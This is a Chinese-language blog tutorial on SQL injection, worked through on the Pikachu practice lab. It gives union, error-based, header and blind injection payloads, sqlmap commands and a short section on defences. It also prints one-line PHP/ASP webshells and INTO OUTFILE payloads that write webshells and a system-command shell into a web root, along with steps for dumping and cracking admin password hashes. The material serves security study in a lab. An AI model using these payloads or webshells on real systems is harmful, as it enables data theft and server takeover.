pikachu之sql注入(初级)

文章目录

  • pikachu之sql注入(初级)
    • 地位
    • 产生原因
    • 攻击流程
    • 注入点类型
    • 分类
      • 1、数字型注入(post)
      • 2、字符型注入(get)
      • 3、搜索型注入
      • 4、xx型注入
      • 总结:
      • 5、sql注入手动测试-----基于union的信息获取
      • 完整步骤:
      • 信息获取---------基于报错注入
        • 1、基于select-----------------------------------------------
        • **总结:**
        • 2、基于insert--------------------------------------------
        • 3、基于update-------------------------------
        • 4、基于delete--------------------------------
      • 6、Http Header注入
      • 7、盲注
        • based boolean---------------
        • based time----------------
      • 8、sql注入远程控制
      • 9、sql注入中的暴力破解
    • **SQL注入防范措施**
    • Sqlmap

地位

在owasp发布的top 10漏洞里面,注入漏洞一直是危害排名第一,其中主要指SQL Inject 漏洞。

产生原因

sql注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。

攻击流程

注入点探测------>信息获取--------->获取权限 **tips:**见总结

注入点探测:自动方式----使用web漏洞扫描工具,自动进行注入点发现;手动方式------手工构造sql注入测试语句进行注入点发现。

信息获取:通过注入点取期望得到的数据。

**tips:**order by、函数、union语句 information_schema数据库、报错注入

tables表:table_schema,table_name

columns表:table_schema,table_name,column_name

环境信息--------数据库类型,数据库版本,操作系统版本,用户信息等;数据库信息--------数据库名称,数据库表,表字段,字段内容(加密内容破解)

获取权限:获取操作系统权限------通过数据库执行shell,上传木马

注入点类型

数字型: user_id=$id

字符型: user_id=’$id’

搜索型: text LIKE ‘%{$_GET[‘search’]}%’"

分类

1、数字型注入(post)

如上图,传参不在url中,说明是post请求

猜想后台执行的sql语句: select username,email from table_name where id =$id

$id即为传参

思路:构造payload:1 or 1=1 (遍历查询数据库中的数据)

使用Burp Suite抓包重放

点击发送,在响应栏中Render处查看

如图所示,遍历成功!

后台源码分析----------sql_id.php:

2、字符型注入(get)

如图所示:传参在url中,所以是get请求

$name = GET[‘name’]

猜想后台sql语句:select uid,email from table_name where name=’$name’

相当于select uid,email from table_name where name=‘kobe’

所以在构造payload时,要注意闭合单引号,否则构造的payload会被当做字符串来处理,从而失去效果

payload:kobe’ or 1=1# 或 kobe’ or 1=1–

补充:#和–空格 在sql语句中会注释后面的语句

输入后后端的代码中sql语句拼接为: select uid,email from table_name where name=‘kobe’ or 1=1#’

如上图所示:输入payload后成功遍历!

后台源码分析:---------------sqli_str.php:

3、搜索型注入

根据搜索的功能猜测,后台的sql语句可能用到了like模糊匹配

$name = GET[‘name’]

猜想sql语句: select username,uid,email from table_name where name like ‘%$name%’

主要思路:构造闭合

payload:aaa%’ or 1=1#

输入payload后sql语句为:select username,uid,email from table_name where name like ‘%aaa%’ or 1=1#%’

如图所示,输入payload遍历成功!

后台源码分析----------sqli_search.php

4、xx型注入

后端源码分析-----------sqli_x.php

如图所示:使用了username=(’$name’)

思路:构造闭合

payload:kobe’) or 1=1#

输入payload后sql语句:select id,email from member where username=(‘kobe’) or 1=1#’)

输入payload提交,遍历成功!

总结:

不管是什么型,重点是构造闭合,将payload的拼接到SQL语句中去执行

采用一些方法比如输入:

aaa" or 1=1#

aaa’ or 1=1#

’是否报错

aaa’ and 1=1#

aaa’ and 1=2#

等等,根据返回的结果判断输入是否拼接到了SQL语句中去执行了

tips:如果是get方式那就url提交,如果是post方式那就抓包重放。

5、sql注入手动测试-----基于union的信息获取

  • union联合查询、order by知识补充

    union两端查询的字段数必须要一致,否则会报错

    所以在测试中我们往往需要知道查询语句所查询的字段数,这时需要用到order by 一个数字(就是用第几行来查询)来测试

    数字的选取用二分法,一直试到报错与不报错的临界值就可得知字段数

    由此可知,前面查询语句查询的字段数为2。(实际确实是2---->username,pw)

    select database()------获取数据库名

    select user()-------------获取数据库用户

    select version()---------获取数据库版本

    测试过程:

    先使用order by 二分法测试出主查询的字段数

    回显错误

    一直试到3回显错误,2回显正常,说明主查询的字段数为2

    构造union查询数据库信息

    ss' union select database(),user()#

    ss' union select version(),user()#

    总结:

    在构造闭合的前提下

    1、先用order by 二分法测试出主查询的字段数

    2、构造union语句获取数据库信息,注意字段数要与主查询保持一致

  • mysql中 ‘information_schema’ 数据库介绍

    该数据库中存放着大量重要信息

    SCHEMATA表:提供了当前mysql中所有数据库的信息,show databases结果取自此表

    TABLES表:提供了关于数据库中表的信息(包括视图),详细表述了某表属于哪个schema,表类型,表引擎,创建时间等信息。show tables from schemaname的结果取自此表

    COLUMNS表:提供了表中列(字段)的信息。详细表述了某张表的所有列以及每个列的信息,show columns from schemaname.tablename(desc schemaname.tablename)的结果取自此表

完整步骤:

测试是否存在sql注入

尝试构造闭合

使用union获取数据库信息

解密码的MD5值,获取管理员权限

以字符型为例

1、先测试是否存在sql注入

输入单引号报错,说明存在sql注入

2、尝试构造闭合

输入payload:aaa' or 1=1#

成功遍历!

4、使用union获取数据库信息

a、order by 二分法测试主查询的字段数

一直试到3回显错误,2回显正常,说明主查询的字段数为2

b、union查询数据库名、版本号等信息

输入payload:aaa' union select database(),user()#

**c、**union语句查询information_schema数据库中数据

#获取表名

select id,email from member where username = 'kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu';

输入payload:kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

成功从 information_schema数据库中的tables表中 查询出数据库名和表名!

#获取字段名

select id,email from member where username = 'kobe' union select table_name,column_name from information_schema.columns where table_name='users';

输入payload:kobe' union select table_name,column_name from information_schema.columns where table_name='users'#

查询user表中的字段名

#获取内容

select id,email from member where username = 'kobe' union select username,password from users;

输入payload:kobe' union select username,password from users#

查询user表中的username,password表中的字段内容

**5、**解密码的MD5值,获取管理员权限

信息获取---------基于报错注入

常用的报错函数updatexml()、extractvalue()、floor()

基于函数报错的信息获取(select/insert/update/delete)

**技巧思路:**在mysql中使用一些指定的函数来制造报错,从而从报错的信息中获取设定的信息(会将我们传入的表达式代入先去执行,然后把结果作为报错内容输出),select/insert/update/delete都可以使用报错来获取信息。

**背景条件:**后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

updatexml():函数时mysql对xml文档数据进行查询和修改的XPATH函数

extractvalue():函数也是mysql对xml文档数据进行查询的XPATH函数

floor():mysql中用来取整的函数

  • updatexml()函数

    updatexml(xml_document, XPathstring, new_value)

    第一个参数:字段名(string格式),为表中的字段名

    第二个参数:XPathstring(Xpath格式的字符串),对xml文档进行定位

    第三个参数:new_value,String格式,替换查找到的符合条件

    其中xpath定位必须有效,否则会发生错误 tips:构造的表达式就在这里

    作用:改变(查找并替换)xml文档中符合条件的节点的值

  • extractvalue()函数

    extractvalue(xml_document, xpath_string)

    第一个参数:xml_document是string格式,为xml文档对象的名称,文中为doc

    第二个参数:xpath_string(xpath格式的字符串),对xml文档进行定位

    其中xpath定位必须有效,否则会发生错误 tips:构造的表达式就在这里(报错注入与updatexml()用法一致)

    作用:从目标xml中返回包含所查询值的字符串

  • floor()函数

    作用:取整

    要素:必须有count()、rand()、group by

    字符型payload:kobe' and (select 2 from (select count(*), concat(version(), floor(rand(0)*2))x from information_schema.tables group by x)a)#

    tips:上述(select 2 from (select count(*), concat(version(), floor(rand(0)*2))为一个整体,用变量x代替,结果用a去遍历

    输入payload:

1、基于select-----------------------------------------------

查询数据库版本payload:aaa' and updatexml(1,concat(0x7e, version()), 0)#

查询数据库名payload:aaa' and updatexml(1, concat(0x7e, database()), 0)#

注:0x7e为~的十六进制,需将函数(例如version())与其拼接使用,防止回显信息被吃掉

#报错只能一次显示一行

输入payload:aaa' and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu')), 0)#

  • 可以使用limit一次一次进行获取表名

输入payload:aaa' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0)#

改为limit 1,1

改为limit 2,1

改为limit 3,1

获得表名users

  • 获取到表名后,获取列名的思路是一样的:

输入payload:aaa' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)), 0)#

改为limit 1,1

改为limit 2,1

以此类推,遍历每个字段回显,最后查出敏感字段username,password

  • 获取到列名后,再获取数据

输入payload:kobe' and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0)#

查出用户名为admin

输入payload:kobe' and updatexml(1, concat(0x7e, (select password from users where username='admin' limit 0,1)), 0)#

查出对应密码的md5值为上图。

总结:

1、使用and语句+报错函数updatexml()等

2、注意为防止回显的数据被吃掉,要使用concat(0x7e, (查询语句))

3、若只能回显一行,那就要用limit 0,1一个一个去遍历

(先获取information.tables中的table_name,再获取information.column中的column_name,再获取对应字段的数据)

2、基于insert--------------------------------------------

一般存在于注册页面,用于将数据插入到数据库中

payload:xiamo' or updatexml(1,concat(0x7e,database()),0) or'

插入payload后sql语句: insert into member(username,pw,sex,phonenum,address,email) values('xiamo' or updatexml(1,concat(0x7e,database()),0) or'','123465','111','1345655','beijing','sdf');

输入payload后:

成功爆出数据库名!

3、基于update-------------------------------

一般用于更改数据的页面

输入payload:xiamo' or updatexml(1,concat(0x7e,database()),0) or'

输入payload后的sql语句:update member set sex='xiamo' or updatexml(1,concat(0x7e,database()),0) or'',phonenum='55555',address='8888',email='2222' where username='1111'

成功爆出数据库名!

4、基于delete--------------------------------

输入payload:1 or updatexml(1,concat(0x7e,database()),0) tips:因为是字符型,所以不加’

输入payload后的sql语句:delete from message where id=1 or updatexml(1,concat(0x7e,database()),0)

用burpsuite抓包重放:

因为是url提交id,所以要对payload部分进行url编码(选中右键菜单栏中)

点击发送,如下图成功爆出数据库名!

源码分析------------------------sqli_del.php:

用get方式将id传入后台,直接拼接到delete语句中

6、Http Header注入

产生原因:有时候后台开发人员为了验证客户端头信息(比如常用的cookie验证),或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL注入漏洞。

猜想:它的功能可能是获取了浏览器的http header信息并进行SQL操作

用burpsuite抓包修改http header字段信息

输入’测试一下

如图所示,出现报错,说明此处存在SQL注入漏洞。

猜想:它可能获取http header信息之后,用insert语句插入到数据库中

于是构造payload:firefox' or updatexml(1,concat(0x7e,database()),0) or'

输入payload测试

如上图所示,成功爆出数据库名!

7、盲注

**何为盲注?**后台使用了错误消息屏蔽的方法(比如@)屏蔽了报错,此时无法根据报错信息来进行注入的判断。

based boolean---------------

总结:

1、没有报错信息

2、不管是正确的输入,还是错误的输入,都只显示两种情况(可以认为是0或1,真或假)

3、在正确的输入下,输入and 1=1/and 1=2发现可以判断

4、若存在boolean盲注,则将测试的信息结果转化为ascii码,构造不等式(或等式)判断,求出信息字符串。

过程:

测试是否存在盲注

'

kobe' or 1=1#

kobe' and 1=1#

回显正常,说明and 1=1已被拼接到sql语句中执行了,所以存在sql注入

kobe' and 1=2#

回显与and 1=1不同,所以存在boolean盲注

获取信息

select length(database())>8 测试数据库名长度

说明数据库名的长度为7

select ascii(substr(database(),1,1))>113 tips:substr(str,a,b) 取str中的字符从第a个开始,取b个

依次类推因为数据库名长度为7,所以要重复上述过程7次,最总获取数据库名。是不是非常麻烦,我勒个去去!

输入payload:kobe' and ascii(substr(database(),1,1))>113#

kobe' and ascii(substr(database(),1,1))=112#

说明数据库名第一个字符为p。

获取表名的sql语句插入到payload中(select table_name from information_schema.tables where table_schema=database() limit 0,1)

payload:kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>113#

与上述方法一样,一个一个试出表名,以及当前数据库的所有表名。

based time----------------

输入测试payload:kobe' and sleep(5)#

如图所示页面返回时间延迟5s,说明sleep(5)在后台sql中被拼接执行。

构造payload:kobe' and if((substr(database(),1,1))='a',sleep(5),null)#

用于测试数据库名第一个字符是否为a

如图没有延迟5s,说明第一个字符不是a。

更改为p:kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

延迟5s,说明第一个字符为p。

依次类推,测试出完整的数据库名。

8、sql注入远程控制

  • 一句话木马

    一种短小而精悍的木马客户端,隐蔽性好,且功能强大

    PHP:<?php @eval($_POST['chopper']);?>

    ASP:<%eval request("chopper")%>

    ASP.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>

  • 如何通过into outfile写入恶意代码并控制OS

    select 1,2 into outfile "/var/www/html/1.txt"

    into outfile 将select的结果写入到指定目录的1.txt中

    在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取

    前提条件:

    1、需要知道远程目录

    2、需要远程目录有写权限

    3、需要数据库开启了secure_file_priv

    通过更改my.cnf配置文件实现

payload:kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"

将一句话木马(远程php代码执行)写入到指定文件下的1.php文件中(若没有1.php则自动新建)

payload:kobe' union select "<?php system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php"

远程操作系统命令执行

输入以上两个payload后,木马就上传成功,直接在url中传参便可利用

9、sql注入中的暴力破解

因为有时用户没有权限方位information_schema数据库获得信息,或者其他数据库没有提供information_schema数据库实例

此时,我们需要使用暴力破解猜解表名或列名

payload:kobe' and exists(select * from aa)# 猜解表名

payload:kobe' and exists(select id from users)# 猜解列名

通过对变量设置字典来暴力猜解

用burpsuite的intruder模块比较方便

SQL注入防范措施

两手抓,两手都要硬

代码层面

1、对输入进行严格的转义和过滤 (过滤多采用黑名单,但由于技术更新快,所以不推荐)

2、使用预处理和参数化(推荐)

网络层面

1、通过WAF设备启用防SQL Inject注入策略(类似于防护系统)

在web应用服务器之前部署waf(web application firewall),识别payload并拦截(特征库)

2、云端防护(360网站卫士,阿里云盾等)

相当于云waf,用户访问服务器时dns先解析到云端,云端集群过滤清洗后再转发给web服务器

转义举例:

过滤举例:(黑名单(有缺陷))

str_replace("%","",$_POST['username']) 把post里面的数据中的%替换为空

PDO预处理+参数化:

PDO会先将带有占位符(?)的SQL语句执行进行预处理,再将参数以索引数组的方式传进去,就防止了输入拼接sql语句

Sqlmap

Automatic SQL injection and database takeover tool

第一步

-u "xxx" --cookie= "yyy" //带上cookie对url进行注入探测

第二步:

-u "xxx" --cookie= "yyy" -current-db //对数据库名进行获取

第三步:

-u "xxx" --cookie= "yyy" -D pikachu --tables //对数据库的表名进行枚举

第四步:

-u "xxx" --cookie= "yyy" -D pikachu -T users --columns //对pikachu库里面的名为users的表的列名进行枚举

第五步:

-u "xxx" -D pikachu -T users -C username,password -dump //获取字段username,password内容
最后对password的md5值进行破解

-----------------------------------------------------------------------------------------------------------------
2021年2月28日更新    关于floor()报错注入原理

2021-1-31 pikachu之sql注入相关推荐

  1. Pikachu靶场—sql注入通关

    Pikachu靶场-SQL注入篇 前言 一.数字型注入 二.字符型注入 三.搜索型注入 四.XX型注入 五.insert注入 六.delete注入 七.http header注入 八.盲注:基于布尔盲 ...

  2. Pikachu靶场-SQL注入-搜索型注入过关步骤

    Pikachu靶场-SQL注入-搜索型注入过关步骤 首先要明白MySQL数据库模糊搜索的语句,like '常%'.like '%常'.like '%常%' 这个几个,这里就不详说这个语句了 判断注入点 ...

  3. pikachu平台SQL注入

    pikachu平台SQL注入 日常心累.速通pikachu注入相关 目录 pikachu平台SQL注入 使用到的名词解释 1. 数字型注入 --使用bp处理数据包 2. 字符型注入 --hackbar ...

  4. pikachu之sql注入

    ** 1原理 ** SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行 ...

  5. Java SQL异常:java.sql.SQLException: Incorrect DATE value: ‘2021.02.31‘

    报错信息: Cause: java.sql.SQLException: Incorrect DATE value: '2021.02.31' ; uncategorized SQLException; ...

  6. SQL注入攻防入门详解

    转载自:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html SQL注入攻防入门详解 =============安全性篇目录= ...

  7. 基于pikachu漏洞平台的 --SQL注入攻击学习与总结

    SQL注入攻击 基础知识 常见注释符号 使用示例 pikachu 漏洞联系平台 -- SQL注入 SQL注入攻击流程 注入点类型 数字型注入(POST) 字符型注入(GET) 搜索型注入 XX型注入 ...

  8. pikachu SQL注入 (皮卡丘漏洞平台通关系列)

    目录 一.官方的戏精引言 二.仙女在认真闯关 一重天 数字型注入 二重天 字符型注入 三重天 搜索型注入 四重天 xx型注入 五重天 insert/update注入 (1)insert注入 (2)up ...

  9. Pikachu(皮卡丘)靶场中SQL注入

    Pikachu靶场中SQL注入 1.Pikachu(皮卡丘)靶场中SQL注入 1.1.数字型注入 1.2.字符型注入 1.3.搜索型注入 1.4.xx型注入 1.5.insert/update注入 1 ...

最新文章

  1. Cocos2d-x3.2 重力感应
  2. 转另一个获取硬盘序列号的方法
  3. Unity-2017.2官方实例教程Roll-a-ball(一)
  4. 为什么 Git把 SVN拍在了沙滩上!
  5. vue+element+echarts柱状图+列表
  6. 在C#中使用RESTful API的几种好方法
  7. JS函数addEventListener的浏览器差异性封装
  8. GHOSTXPSP3电脑爱好者V9.9美化修正版
  9. 激光雷达考试基础知识
  10. 进行一个幂的运算(数学)
  11. CTF_EXP01:BugkuCTF 秋名山老司机
  12. 【Unity3D插件】UniRx(基于Unity的响应式编程框架)插件教程
  13. 计算机主机风扇声音大的原因,电脑主机风扇声音太大怎么办 下面4种情况帮你解决...
  14. python3发邮件_Python3 无痛发送邮件
  15. SAP成都研究院小伙伴们2018~2019两年间的179篇原创文章合集
  16. 学汉语、来云栖、海外布道阿里云……这位印度架构师不一般 1
  17. Centos 7.2内核版本升级(无外网)
  18. mvc5 ef mysql_ASP.NET MVC快速入门之数据库操作(MVC5+EF6)[第一篇][上] | Rickytsang洛水寒...
  19. TCP Connect 函数超时的问题
  20. mysql strlen 函数_sizeof和strlen函数区别

热门文章

  1. Win10安装silverlight5开发环境,以及坑
  2. nRF SPI 与 TWI 操作相关 (BMI088 与 MLX90614 举例)
  3. 俞敏洪励志演讲稿【一】
  4. Oracle EBS财务模块(二)基本组成模块
  5. 破解“封闭式基金折价之谜”(ZT)
  6. Block的简单理解
  7. EGE基础:音乐播放篇
  8. java什么时候用静态方法,Java:何时使用静态方法
  9. ShareSDK的使用
  10. 对话框AlertDialog的基本使用(新手)